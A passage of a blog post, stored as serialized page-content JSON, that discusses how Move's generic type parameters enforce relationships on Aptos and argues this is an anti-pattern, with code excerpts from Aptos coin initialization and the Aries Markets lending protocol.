get_reserves_size",{"type":23,"tag":134,"props":5874,"children":5875},{"style":179},[5876],{"type":28,"value":5262},{"type":23,"tag":134,"props":5878,"children":5879},{"style":597},[5880],{"type":28,"value":5590},{"type":23,"tag":134,"props":5882,"children":5883},{"style":179},[5884],{"type":28,"value":242},{"type":23,"tag":134,"props":5886,"children":5887},{"style":597},[5888],{"type":28,"value":5620},{"type":23,"tag":134,"props":5890,"children":5891},{"style":179},[5892],{"type":28,"value":5893},", LP>(",{"type":23,"tag":134,"props":5895,"children":5896},{"style":162},[5897],{"type":28,"value":5898},"pool_addr",{"type":23,"tag":134,"props":5900,"children":5901},{"style":179},[5902],{"type":28,"value":1021},{"type":23,"tag":24,"props":5904,"children":5905},{},[5906,5908,5914,5916,5923],{"type":28,"value":5907},"As an aside, this generic type information is implemented at runtime in the ",{"type":23,"tag":92,"props":5909,"children":5911},{"className":5910},[],[5912],{"type":28,"value":5913},"ty_args",{"type":28,"value":5915}," ",{"type":23,"tag":31,"props":5917,"children":5920},{"href":5918,"rel":5919},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[35],[5921],{"type":28,"value":5922},"at the vm level",{"type":28,"value":5924},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":23,"tag":24,"props":5926,"children":5927},{},[5928,5930,5936,5938,5944,5946,5952,5953,5959],{"type":28,"value":5929},"In pseucode, this checks that ",{"type":23,"tag":92,"props":5931,"children":5933},{"className":5932},[],[5934],{"type":28,"value":5935},"coin_x.type",{"type":28,"value":5937}," is equal to ",{"type":23,"tag":92,"props":5939,"children":5941},{"className":5940},[],[5942],{"type":28,"value":5943},"pool.x_type",{"type":28,"value":5945},", and ",{"type":23,"tag":92,"props":5947,"children":5949},{"className":5948},[],[5950],{"type":28,"value":5951},"coin_y.type",{"type":28,"value":5937},{"type":23,"tag":92,"props":5954,"children":5956},{"className":5955},[],[5957],{"type":28,"value":5958},"pool.y_type",{"type":28,"value":720},{"type":23,"tag":24,"props":5961,"children":5962},{},[5963],{"type":28,"value":5964},"This type system has two advantages",{"type":23,"tag":4890,"props":5966,"children":5967},{},[5968,5980],{"type":23,"tag":4894,"props":5969,"children":5970},{},[5971,5973,5978],{"type":28,"value":5972},"It's required. The type parameter ",{"type":23,"tag":55,"props":5974,"children":5975},{},[5976],{"type":28,"value":5977},"must",{"type":28,"value":5979}," be specified so it's impossible to forget such a constraint",{"type":23,"tag":4894,"props":5981,"children":5982},{},[5983],{"type":28,"value":5984},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":23,"tag":24,"props":5986,"children":5987},{},[5988],{"type":28,"value":5989},"However, this system isn't perfect.",{"type":23,"tag":24,"props":5991,"children":5992},{},[5993,5995,6000],{"type":28,"value":5994},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":23,"tag":2532,"props":5996,"children":5997},{},[5998],{"type":28,"value":5999},"an anti-pattern",{"type":28,"value":720},{"type":23,"tag":24,"props":6002,"children":6003},{},[6004,6006,6012],{"type":28,"value":6005},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":23,"tag":92,"props":6007,"children":6009},{"className":6008},[],[6010],{"type":28,"value":6011},"CoinInfo\u003CCoinType>",{"type":28,"value":720},{"type":23,"tag":87,"props":6014,"children":6016},{"className":128,"code":6015,"language":127,"meta":7,"style":7},"  fun initialize_internal\u003CCoinType>(\n      // ...\n  ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n      // ...\n\n      assert!(\n          !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n          error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n      );\n",[6017],{"type":23,"tag":92,"props":6018,"children":6019},{"__ignoreMap":7},[6020,6047,6055,6124,6131,6138,6150,6195,6217],{"type":23,"tag":134,"props":6021,"children":6022},{"class":136,"line":137},[6023,6028,6033,6037,6042],{"type":23,"tag":134,"props":6024,"children":6025},{"style":162},[6026],{"type":28,"value":6027},"  fun",{"type":23,"tag":134,"props":6029,"children":6030},{"style":162},[6031],{"type":28,"value":6032}," initialize_internal",{"type":23,"tag":134,"props":6034,"children":6035},{"style":179},[6036],{"type":28,"value":5262},{"type":23,"tag":134,"props":6038,"children":6039},{"style":597},[6040],{"type":28,"value":6041},"CoinType",{"type":23,"tag":134,"props":6043,"children":6044},{"style":179},[6045],{"type":28,"value":6046},">(\n",{"type":23,"tag":134,"props":6048,"children":6049},{"class":136,"line":147},[6050],{"type":23,"tag":134,"props":6051,"children":6052},{"style":141},[6053],{"type":28,"value":6054},"      // ...\n",{"type":23,"tag":134,"props":6056,"children":6057},{"class":136,"line":185},[6058,6063,6067,6071,6076,6080,6084,6089,6094,6098,6102,6106,6111,6115,6119],{"type":23,"tag":134,"props":6059,"children":6060},{"style":179},[6061],{"type":28,"value":6062},"  )",{"type":23,"tag":134,"props":6064,"children":6065},{"style":168},[6066],{"type":28,"value":1697},{"type":23,"tag":134,"props":6068,"children":6069},{"style":179},[6070],{"type":28,"value":232},{"type":23,"tag":134,"props":6072,"children":6073},{"style":597},[6074],{"type":28,"value":6075},"BurnCapability",{"type":23,"tag":134,"props":6077,"children":6078},{"style":179},[6079],{"type":28,"value":5262},{"type":23,"tag":134,"props":6081,"children":6082},{"style":597},[6083],{"type":28,"value":6041},{"type":23,"tag":134,"props":6085,"children":6086},{"style":179},[6087],{"type":28,"value":6088},">, ",{"type":23,"tag":134,"props":6090,"children":6091},{"style":597},[6092],{"type":28,"value":6093},"FreezeCapability",{"type":23,"tag":134,"props":6095,"children":6096},{"style":179},[6097],{"type":28,"value":5262},{"type":23,"tag":134,"props":6099,"children":6100},{"style":597},[6101],{"type":28,"value":6041},{"type":23,"tag":134,"props":6103,"children":6104},{"style":179},[6105],{"type":28,"value":6088},{"type":23,"tag":134,"props":6107,"children":6108},{"style":597},[6109],{"type":28,"value":6110},"MintCapability",{"type":23,"tag":134,"props":6112,"children":6113},{"style":179},[6114],{"type":28,"value":5262},{"type":23,"tag":134,"props":6116,"children":6117},{"style":597},[6118],{"type":28,"value":6041},{"type":23,"tag":134,"props":6120,"children":6121},{"style":179},[6122],{"type":28,"value":6123},">) {\n",{"type":23,"tag":134,"props":6125,"children":6126},{"class":136,"line":221},[6127],{"type":23,"tag":134,"props":6128,"children":6129},{"style":141},[6130],{"type":28,"value":6054},{"type":23,"tag":134,"props":6132,"children":6133},{"class":136,"line":332},[6134],{"type":23,"tag":134,"props":6135,"children":6136},{"emptyLinePlaceholder":15},[6137],{"type":28,"value":865},{"type":23,"tag":134,"props":6139,"children":6140},{"class":136,"line":438},[6141,6146],{"type":23,"tag":134,"props":6142,"children":6143},{"style":264},[6144],{"type":28,"value":6145},"      assert!",{"type":23,"tag":134,"props":6147,"children":6148},{"style":179},[6149],{"type":28,"value":642},{"type":23,"tag":134,"props":6151,"children":6152},{"class":136,"line":466},[6153,6158,6163,6167,6172,6176,6180,6185,6190],{"type":23,"tag":134,"props":6154,"children":6155},{"style":168},[6156],{"type":28,"value":6157},"          !",{"type":23,"tag":134,"props":6159,"children":6160},{"style":162},[6161],{"type":28,"value":6162},"exists",{"type":23,"tag":134,"props":6164,"children":6165},{"style":179},[6166],{"type":28,"value":5262},{"type":23,"tag":134,"props":6168,"children":6169},{"style":597},[6170],{"type":28,"value":6171},"CoinInfo",{"type":23,"tag":134,"props":6173,"children":6174},{"style":179},[6175],{"type":28,"value":5262},{"type":23,"tag":134,"props":6177,"children":6178},{"style":597},[6179],{"type":28,"value":6041},{"type":23,"tag":134,"props":6181,"children":6182},{"style":179},[6183],{"type":28,"value":6184},">>(",{"type":23,"tag":134,"props":6186,"children":6187},{"style":162},[6188],{"type":28,"value":6189},"account_addr",{"type":23,"tag":134,"props":6191,"children":6192},{"style":179},[6193],{"type":28,"value":6194},"),\n",{"type":23,"tag":134,"props":6196,"children":6197},{"class":136,"line":479},[6198,6203,6207,6212],{"type":23,"tag":134,"props":6199,"children":6200},{"style":179},[6201],{"type":28,"value":6202},"          error",{"type":23,"tag":134,"props":6204,"children":6205},{"style":168},[6206],{"type":28,"value":660},{"type":23,"tag":134,"props":6208,"children":6209},{"style":264},[6210],{"type":28,"value":6211},"already_exists",{"type":23,"tag":134,"props":6213,"children":6214},{"style":179},[6215],{"type":28,"value":6216},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":23,"tag":134,"props":6218,"children":6219},{"class":136,"line":497},[6220],{"type":23,"tag":134,"props":6221,"children":6222},{"style":179},[6223],{"type":28,"value":6224},"      );\n",{"type":23,"tag":24,"props":6226,"children":6227},{},[6228,6230,6235],{"type":28,"value":6229},"While this ",{"type":23,"tag":92,"props":6231,"children":6233},{"className":6232},[],[6234],{"type":28,"value":6171},{"type":28,"value":6236}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":23,"tag":24,"props":6238,"children":6239},{},[6240,6242,6249],{"type":28,"value":6241},"Similarly, consider ",{"type":23,"tag":31,"props":6243,"children":6246},{"href":6244,"rel":6245},"https://ariesmarkets.xyz/",[35],[6247],{"type":28,"value":6248},"Aries Markets",{"type":28,"value":6250},", a lending/borrowing protocol building on Aptos.",{"type":23,"tag":24,"props":6252,"children":6253},{},[6254,6256,6262],{"type":28,"value":6255},"Their ",{"type":23,"tag":92,"props":6257,"children":6259},{"className":6258},[],[6260],{"type":28,"value":6261},"ReserveCoinContainer",{"type":28,"value":6263}," struct stores all the relevant data and resources for managing a lending market.",{"type":23,"tag":87,"props":6265,"children":6267},{"className":128,"code":6266,"language":127,"meta":7,"style":7},"  /// The struct to hold all the underlying `Coin`s.\n  /// Stored as a resources.\n  struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n      /// Stores the available `Coin`.\n      underlying_coin: Coin\u003CCoin0>,\n      /// Stores the LP `Coin` that act as collateral.\n      collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n      /// Mint capability for LP Coin.\n      mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n      /// Burn capability for LP Coin.\n      burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n      // ...\n  }\n\n",[6268],{"type":23,"tag":92,"props":6269,"children":6270},{"__ignoreMap":7},[6271,6279,6287,6328,6336,6365,6373,6410,6418,6455,6463,6500,6507,6514],{"type":23,"tag":134,"props":6272,"children":6273},{"class":136,"line":137},[6274],{"type":23,"tag":134,"props":6275,"children":6276},{"style":141},[6277],{"type":28,"value":6278},"  /// The struct to hold all the underlying `Coin`s.\n",{"type":23,"tag":134,"props":6280,"children":6281},{"class":136,"line":147},[6282],{"type":23,"tag":134,"props":6283,"children":6284},{"style":141},[6285],{"type":28,"value":6286},"  /// Stored as a resources.\n",{"type":23,"tag":134,"props":6288,"children":6289},{"class":136,"line":185},[6290,6294,6299,6303,6307,6312,6316,6320,6324],{"type":23,"tag":134,"props":6291,"children":6292},{"style":151},[6293],{"type":28,"value":5252},{"type":23,"tag":134,"props":6295,"children":6296},{"style":597},[6297],{"type":28,"value":6298}," ReserveCoinContainer",{"type":23,"tag":134,"props":6300,"children":6301},{"style":179},[6302],{"type":28,"value":5262},{"type":23,"tag":134,"props":6304,"children":6305},{"style":162},[6306],{"type":28,"value":5267},{"type":23,"tag":134,"props":6308,"children":6309},{"style":597},[6310],{"type":28,"value":6311}," Coin0",{"type":23,"tag":134,"props":6313,"children":6314},{"style":179},[6315],{"type":28,"value":5277},{"type":23,"tag":134,"props":6317,"children":6318},{"style":162},[6319],{"type":28,"value":5282},{"type":23,"tag":134,"props":6321,"children":6322},{"style":162},[6323],{"type":28,"value":5388},{"type":23,"tag":134,"props":6325,"children":6326},{"style":179},[6327],{"type":28,"value":463},{"type":23,"tag":134,"props":6329,"children":6330},{"class":136,"line":221},[6331],{"type":23,"tag":134,"props":6332,"children":6333},{"style":141},[6334],{"type":28,"value":6335},"      /// Stores the available `Coin`.\n",{"type":23,"tag":134,"props":6337,"children":6338},{"class":136,"line":332},[6339,6344,6348,6352,6356,6361],{"type":23,"tag":134,"props":6340,"children":6341},{"style":162},[6342],{"type":28,"value":6343},"      underlying_coin",{"type":23,"tag":134,"props":6345,"children":6346},{"style":168},[6347],{"type":28,"value":1697},{"type":23,"tag":134,"props":6349,"children":6350},{"style":597},[6351],{"type":28,"value":5257},{"type":23,"tag":134,"props":6353,"children":6354},{"style":179},[6355],{"type":28,"value":5262},{"type":23,"tag":134,"props":6357,"children":6358},{"style":597},[6359],{"type":28,"value":6360},"Coin0",{"type":23,"tag":134,"props":6362,"children":6363},{"style":179},[6364],{"type":28,"value":5595},{"type":23,"tag":134,"props":6366,"children":6367},{"class":136,"line":438},[6368],{"type":23,"tag":134,"props":6369,"children":6370},{"style":141},[6371],{"type":28,"value":6372},"      /// Stores the LP `Coin` that act as collateral.\n",{"type":23,"tag":134,"props":6374,"children":6375},{"class":136,"line":466},[6376,6381,6385,6389,6393,6397,6401,6405],{"type":23,"tag":134,"props":6377,"children":6378},{"style":162},[6379],{"type":28,"value":6380},"      collateralised_lp_coin",{"type":23,"tag":134,"props":6382,"children":6383},{"style":168},[6384],{"type":28,"value":1697},{"type":23,"tag":134,"props":6386,"children":6387},{"style":597},[6388],{"type":28,"value":5257},{"type":23,"tag":134,"props":6390,"children":6391},{"style":179},[6392],{"type":28,"value":5262},{"type":23,"tag":134,"props":6394,"children":6395},{"style":597},[6396],{"type":28,"value":5792},{"type":23,"tag":134,"props":6398,"children":6399},{"style":179},[6400],{"type":28,"value":5262},{"type":23,"tag":134,"props":6402,"children":6403},{"style":597},[6404],{"type":28,"value":6360},{"type":23,"tag":134,"props":6406,"children":6407},{"style":179},[6408],{"type":28,"value":6409},">>,\n",{"type":23,"tag":134,"props":6411,"children":6412},{"class":136,"line":479},[6413],{"type":23,"tag":134,"props":6414,"children":6415},{"style":141},[6416],{"type":28,"value":6417},"      /// Mint capability for LP Coin.\n",{"type":23,"tag":134,"props":6419,"children":6420},{"class":136,"line":497},[6421,6426,6430,6435,6439,6443,6447,6451],{"type":23,"tag":134,"props":6422,"children":6423},{"style":162},[6424],{"type":28,"value":6425},"      mint_capability",{"type":23,"tag":134,"props":6427,"children":6428},{"style":168},[6429],{"type":28,"value":1697},{"type":23,"tag":134,"props":6431,"children":6432},{"style":597},[6433],{"type":28,"value":6434}," MintCapability",{"type":23,"tag":134,"props":6436,"children":6437},{"style":179},[6438],{"type":28,"value":5262},{"type":23,"tag":134,"props":6440,"children":6441},{"style":597},[6442],{"type":28,"value":5792},{"type":23,"tag":134,"props":6444,"children":6445},{"style":179},[6446],{"type":28,"value":5262},{"type":23,"tag":134,"props":6448,"children":6449},{"style":597},[6450],{"type":28,"value":6360},{"type":23,"tag":134,"props":6452,"children":6453},{"style":179},[6454],{"type":28,"value":6409},{"type":23,"tag":134,"props":6456,"children":6457},{"class":136,"line":518},[6458],{"type":23,"tag":134,"props":6459,"children":6460},{"style":141},[6461],{"type":28,"value":6462},"      /// Burn capability for LP Coin.\n",{"type":23,"tag":134,"props":6464,"children":6465},{"class":136,"line":527},[6466,6471,6475,6480,6484,6488,6492,6496],{"type":23,"tag":134,"props":6467,"children":6468},{"style":162},[6469],{"type":28,"value":6470},"      burn_capability",{"type":23,"tag":134,"props":6472,"children":6473},{"style":168},[6474],{"type":28,"value":1697},{"type":23,"tag":134,"props":6476,"children":6477},{"style":597},[6478],{"type":28,"value":6479}," BurnCapability",{"type":23,"tag":134,"props":6481,"children":6482},{"style":179},[6483],{"type":28,"value":5262},{"type":23,"tag":134,"props":6485,"children":6486},{"style":597},[6487],{"type":28,"value":5792},{"type":23,"tag":134,"props":6489,"children":6490},{"style":179},[6491],{"type":28,"value":5262},{"type":23,"tag":134,"props":6493,"children":6494},{"style":597},[6495],{"type":28,"value":6360},{"type":23,"tag":134,"props":6497,"children":6498},{"style":179},[6499],{"type":28,"value":6409},{"type":23,"tag":134,"props":6501,"children":6502},{"class":136,"line":780},[6503],{"type":23,"tag":134,"props":6504,"children":6505},{"emptyLinePlaceholder":15},[6506],{"type":28,"value":865},{"type":23,"tag":134,"props":6508,"children":6509},{"class":136,"line":797},[6510],{"type":23,"tag":134,"props":6511,"children":6512},{"style":141},[6513],{"type":28,"value":6054},{"type":23,"tag":134,"props":6515,"children":6516},{"class":136,"line":814},[6517],{"type":23,"tag":134,"props":6518,"children":6519},{"style":179},[6520],{"type":28,"value":5328},{"type":23,"tag":24,"props":6522,"children":6523},{},[6524,6526,6531],{"type":28,"value":6525},"When creating a ",{"type":23,"tag":92,"props":6527,"children":6529},{"className":6528},[],[6530],{"type":28,"value":6261},{"type":28,"value":6532},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":23,"tag":87,"props":6534,"children":6536},{"className":128,"code":6535,"language":127,"meta":7,"style":7},"  public(friend) fun create\u003CCoin0>(\n      lp_store: &signer,\n      // ...\n  ) acquires Reserves {\n      lp::assert_is_lp_store(signer::address_of(lp_store));\n\n      // ...\n\n      move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n        // ...\n      });\n",[6537],{"type":23,"tag":92,"props":6538,"children":6539},{"__ignoreMap":7},[6540,6583,6609,6616,6637,6682,6689,6696,6703,6740,6747],{"type":23,"tag":134,"props":6541,"children":6542},{"class":136,"line":137},[6543,6548,6552,6557,6561,6566,6571,6575,6579],{"type":23,"tag":134,"props":6544,"children":6545},{"style":264},[6546],{"type":28,"value":6547},"  public",{"type":23,"tag":134,"props":6549,"children":6550},{"style":179},[6551],{"type":28,"value":272},{"type":23,"tag":134,"props":6553,"children":6554},{"style":162},[6555],{"type":28,"value":6556},"friend",{"type":23,"tag":134,"props":6558,"children":6559},{"style":179},[6560],{"type":28,"value":252},{"type":23,"tag":134,"props":6562,"children":6563},{"style":162},[6564],{"type":28,"value":6565},"fun",{"type":23,"tag":134,"props":6567,"children":6568},{"style":162},[6569],{"type":28,"value":6570}," create",{"type":23,"tag":134,"props":6572,"children":6573},{"style":179},[6574],{"type":28,"value":5262},{"type":23,"tag":134,"props":6576,"children":6577},{"style":597},[6578],{"type":28,"value":6360},{"type":23,"tag":134,"props":6580,"children":6581},{"style":179},[6582],{"type":28,"value":6046},{"type":23,"tag":134,"props":6584,"children":6585},{"class":136,"line":147},[6586,6591,6595,6600,6605],{"type":23,"tag":134,"props":6587,"children":6588},{"style":162},[6589],{"type":28,"value":6590},"      lp_store",{"type":23,"tag":134,"props":6592,"children":6593},{"style":168},[6594],{"type":28,"value":1697},{"type":23,"tag":134,"props":6596,"children":6597},{"style":168},[6598],{"type":28,"value":6599}," &",{"type":23,"tag":134,"props":6601,"children":6602},{"style":162},[6603],{"type":28,"value":6604},"signer",{"type":23,"tag":134,"props":6606,"children":6607},{"style":179},[6608],{"type":28,"value":687},{"type":23,"tag":134,"props":6610,"children":6611},{"class":136,"line":185},[6612],{"type":23,"tag":134,"props":6613,"children":6614},{"style":141},[6615],{"type":28,"value":6054},{"type":23,"tag":134,"props":6617,"children":6618},{"class":136,"line":221},[6619,6624,6628,6633],{"type":23,"tag":134,"props":6620,"children":6621},{"style":179},[6622],{"type":28,"value":6623},"  ) ",{"type":23,"tag":134,"props":6625,"children":6626},{"style":162},[6627],{"type":28,"value":5801},{"type":23,"tag":134,"props":6629,"children":6630},{"style":597},[6631],{"type":28,"value":6632}," Reserves",{"type":23,"tag":134,"props":6634,"children":6635},{"style":179},[6636],{"type":28,"value":463},{"type":23,"tag":134,"props":6638,"children":6639},{"class":136,"line":332},[6640,6645,6649,6654,6659,6663,6668,6672,6677],{"type":23,"tag":134,"props":6641,"children":6642},{"style":179},[6643],{"type":28,"value":6644},"      lp",{"type":23,"tag":134,"props":6646,"children":6647},{"style":168},[6648],{"type":28,"value":660},{"type":23,"tag":134,"props":6650,"children":6651},{"style":264},[6652],{"type":28,"value":6653},"assert_is_lp_store",{"type":23,"tag":134,"props":6655,"children":6656},{"style":179},[6657],{"type":28,"value":6658},"(signer",{"type":23,"tag":134,"props":6660,"children":6661},{"style":168},[6662],{"type":28,"value":660},{"type":23,"tag":134,"props":6664,"children":6665},{"style":264},[6666],{"type":28,"value":6667},"address_of",{"type":23,"tag":134,"props":6669,"children":6670},{"style":179},[6671],{"type":28,"value":272},{"type":23,"tag":134,"props":6673,"children":6674},{"style":162},[6675],{"type":28,"value":6676},"lp_store",{"type":23,"tag":134,"props":6678,"children":6679},{"style":179},[6680],{"type":28,"value":6681},"));\n",{"type":23,"tag":134,"props":6683,"children":6684},{"class":136,"line":438},[6685],{"type":23,"tag":134,"props":6686,"children":6687},{"emptyLinePlaceholder":15},[6688],{"type":28,"value":865},{"type":23,"tag":134,"props":6690,"children":6691},{"class":136,"line":466},[6692],{"type":23,"tag":134,"props":6693,"children":6694},{"style":141},[6695],{"type":28,"value":6054},{"type":23,"tag":134,"props":6697,"children":6698},{"class":136,"line":479},[6699],{"type":23,"tag":134,"props":6700,"children":6701},{"emptyLinePlaceholder":15},[6702],{"type":28,"value":865},{"type":23,"tag":134,"props":6704,"children":6705},{"class":136,"line":497},[6706,6711,6715,6719,6723,6727,6731,6735],{"type":23,"tag":134,"props":6707,"children":6708},{"style":264},[6709],{"type":28,"value":6710},"      move_to",{"type":23,"tag":134,"props":6712,"children":6713},{"style":179},[6714],{"type":28,"value":272},{"type":23,"tag":134,"props":6716,"children":6717},{"style":162},[6718],{"type":28,"value":6676},{"type":23,"tag":134,"props":6720,"children":6721},{"style":179},[6722],{"type":28,"value":242},{"type":23,"tag":134,"props":6724,"children":6725},{"style":597},[6726],{"type":28,"value":6261},{"type":23,"tag":134,"props":6728,"children":6729},{"style":179},[6730],{"type":28,"value":5262},{"type":23,"tag":134,"props":6732,"children":6733},{"style":597},[6734],{"type":28,"value":6360},{"type":23,"tag":134,"props":6736,"children":6737},{"style":179},[6738],{"type":28,"value":6739},"> {\n",{"type":23,"tag":134,"props":6741,"children":6742},{"class":136,"line":518},[6743],{"type":23,"tag":134,"props":6744,"children":6745},{"style":141},[6746],{"type":28,"value":5632},{"type":23,"tag":134,"props":6748,"children":6749},{"class":136,"line":527},[6750],{"type":23,"tag":134,"props":6751,"children":6752},{"style":179},[6753],{"type":28,"value":6754},"      });\n",{"type":23,"tag":24,"props":6756,"children":6757},{},[6758],{"type":28,"value":6759},"In both these instances, type association only works because we create exactly one instance per type.",{"type":23,"tag":24,"props":6761,"children":6762},{},[6763,6765,6771,6773,6779,6781,6786],{"type":28,"value":6764},"On the other hand, consider if you have a ",{"type":23,"tag":92,"props":6766,"children":6768},{"className":6767},[],[6769],{"type":28,"value":6770},"Position\u003CT>",{"type":28,"value":6772}," and a ",{"type":23,"tag":92,"props":6774,"children":6776},{"className":6775},[],[6777],{"type":28,"value":6778},"Market\u003CT>",{"type":28,"value":6780}," where ",{"type":23,"tag":92,"props":6782,"children":6784},{"className":6783},[],[6785],{"type":28,"value":5444},{"type":28,"value":6787}," is the coin type.",{"type":23,"tag":87,"props":6789,"children":6791},{"className":128,"code":6790,"language":127,"meta":7,"style":7},"    struct Market\u003Cphantom T> {\n        reserves: Coin\u003CT>,\n        // ...\n    }\n\n    struct Position\u003Cphantom T> {\n        amount: u64,\n        // ...\n    }\n",[6792],{"type":23,"tag":92,"props":6793,"children":6794},{"__ignoreMap":7},[6795,6823,6851,6858,6865,6872,6900,6920,6927],{"type":23,"tag":134,"props":6796,"children":6797},{"class":136,"line":137},[6798,6802,6807,6811,6815,6819],{"type":23,"tag":134,"props":6799,"children":6800},{"style":151},[6801],{"type":28,"value":5509},{"type":23,"tag":134,"props":6803,"children":6804},{"style":597},[6805],{"type":28,"value":6806}," Market",{"type":23,"tag":134,"props":6808,"children":6809},{"style":179},[6810],{"type":28,"value":5262},{"type":23,"tag":134,"props":6812,"children":6813},{"style":162},[6814],{"type":28,"value":5267},{"type":23,"tag":134,"props":6816,"children":6817},{"style":597},[6818],{"type":28,"value":5375},{"type":23,"tag":134,"props":6820,"children":6821},{"style":179},[6822],{"type":28,"value":6739},{"type":23,"tag":134,"props":6824,"children":6825},{"class":136,"line":147},[6826,6831,6835,6839,6843,6847],{"type":23,"tag":134,"props":6827,"children":6828},{"style":162},[6829],{"type":28,"value":6830},"        reserves",{"type":23,"tag":134,"props":6832,"children":6833},{"style":168},[6834],{"type":28,"value":1697},{"type":23,"tag":134,"props":6836,"children":6837},{"style":597},[6838],{"type":28,"value":5257},{"type":23,"tag":134,"props":6840,"children":6841},{"style":179},[6842],{"type":28,"value":5262},{"type":23,"tag":134,"props":6844,"children":6845},{"style":597},[6846],{"type":28,"value":5444},{"type":23,"tag":134,"props":6848,"children":6849},{"style":179},[6850],{"type":28,"value":5595},{"type":23,"tag":134,"props":6852,"children":6853},{"class":136,"line":185},[6854],{"type":23,"tag":134,"props":6855,"children":6856},{"style":141},[6857],{"type":28,"value":5632},{"type":23,"tag":134,"props":6859,"children":6860},{"class":136,"line":221},[6861],{"type":23,"tag":134,"props":6862,"children":6863},{"style":179},[6864],{"type":28,"value":533},{"type":23,"tag":134,"props":6866,"children":6867},{"class":136,"line":332},[6868],{"type":23,"tag":134,"props":6869,"children":6870},{"emptyLinePlaceholder":15},[6871],{"type":28,"value":865},{"type":23,"tag":134,"props":6873,"children":6874},{"class":136,"line":438},[6875,6879,6884,6888,6892,6896],{"type":23,"tag":134,"props":6876,"children":6877},{"style":151},[6878],{"type":28,"value":5509},{"type":23,"tag":134,"props":6880,"children":6881},{"style":597},[6882],{"type":28,"value":6883}," Position",{"type":23,"tag":134,"props":6885,"children":6886},{"style":179},[6887],{"type":28,"value":5262},{"type":23,"tag":134,"props":6889,"children":6890},{"style":162},[6891],{"type":28,"value":5267},{"type":23,"tag":134,"props":6893,"children":6894},{"style":597},[6895],{"type":28,"value":5375},{"type":23,"tag":134,"props":6897,"children":6898},{"style":179},[6899],{"type":28,"value":6739},{"type":23,"tag":134,"props":6901,"children":6902},{"class":136,"line":466},[6903,6908,6912,6916],{"type":23,"tag":134,"props":6904,"children":6905},{"style":162},[6906],{"type":28,"value":6907},"        amount",{"type":23,"tag":134,"props":6909,"children":6910},{"style":168},[6911],{"type":28,"value":1697},{"type":23,"tag":134,"props":6913,"children":6914},{"style":597},[6915],{"type":28,"value":5316},{"type":23,"tag":134,"props":6917,"children":6918},{"style":179},[6919],{"type":28,"value":687},{"type":23,"tag":134,"props":6921,"children":6922},{"class":136,"line":479},[6923],{"type":23,"tag":134,"props":6924,"children":6925},{"style":141},[6926],{"type":28,"value":5632},{"type":23,"tag":134,"props":6928,"children":6929},{"class":136,"line":497},[6930],{"type":23,"tag":134,"props":6931,"children":6932},{"style":179},[6933],{"type":28,"value":533},{"type":23,"tag":24,"props":6935,"children":6936},{},[6937,6939,6944,6946,6951],{"type":28,"value":6938},"If ",{"type":23,"tag":92,"props":6940,"children":6942},{"className":6941},[],[6943],{"type":28,"value":6778},{"type":28,"value":6945}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":23,"tag":92,"props":6947,"children":6949},{"className":6948},[],[6950],{"type":28,"value":5444},{"type":28,"value":6952}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":23,"tag":24,"props":6954,"children":6955},{},[6956],{"type":28,"value":6957},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":23,"tag":87,"props":6959,"children":6961},{"className":128,"code":6960,"language":127,"meta":7,"style":7},"    /// Get the price of the token per lamport.\n    public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n        let oracle = borrow_global_mut\u003COracle>(@oracle);\n        let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n            &mut oracle.prices,\n            type_info,\n            decimal::one()\n        );\n        *price\n    }\n",[6962],{"type":23,"tag":92,"props":6963,"children":6964},{"__ignoreMap":7},[6965,6973,7035,7084,7136,7161,7173,7195,7203,7216],{"type":23,"tag":134,"props":6966,"children":6967},{"class":136,"line":137},[6968],{"type":23,"tag":134,"props":6969,"children":6970},{"style":141},[6971],{"type":28,"value":6972},"    /// Get the price of the token per lamport.\n",{"type":23,"tag":134,"props":6974,"children":6975},{"class":136,"line":147},[6976,6981,6985,6990,6994,6999,7003,7008,7012,7016,7021,7026,7031],{"type":23,"tag":134,"props":6977,"children":6978},{"style":162},[6979],{"type":28,"value":6980},"    public",{"type":23,"tag":134,"props":6982,"children":6983},{"style":162},[6984],{"type":28,"value":5664},{"type":23,"tag":134,"props":6986,"children":6987},{"style":264},[6988],{"type":28,"value":6989}," get_price",{"type":23,"tag":134,"props":6991,"children":6992},{"style":179},[6993],{"type":28,"value":272},{"type":23,"tag":134,"props":6995,"children":6996},{"style":162},[6997],{"type":28,"value":6998},"type_info",{"type":23,"tag":134,"props":7000,"children":7001},{"style":168},[7002],{"type":28,"value":1697},{"type":23,"tag":134,"props":7004,"children":7005},{"style":597},[7006],{"type":28,"value":7007}," TypeInfo",{"type":23,"tag":134,"props":7009,"children":7010},{"style":179},[7011],{"type":28,"value":296},{"type":23,"tag":134,"props":7013,"children":7014},{"style":168},[7015],{"type":28,"value":1697},{"type":23,"tag":134,"props":7017,"children":7018},{"style":597},[7019],{"type":28,"value":7020}," Decimal",{"type":23,"tag":134,"props":7022,"children":7023},{"style":162},[7024],{"type":28,"value":7025}," acquires",{"type":23,"tag":134,"props":7027,"children":7028},{"style":597},[7029],{"type":28,"value":7030}," 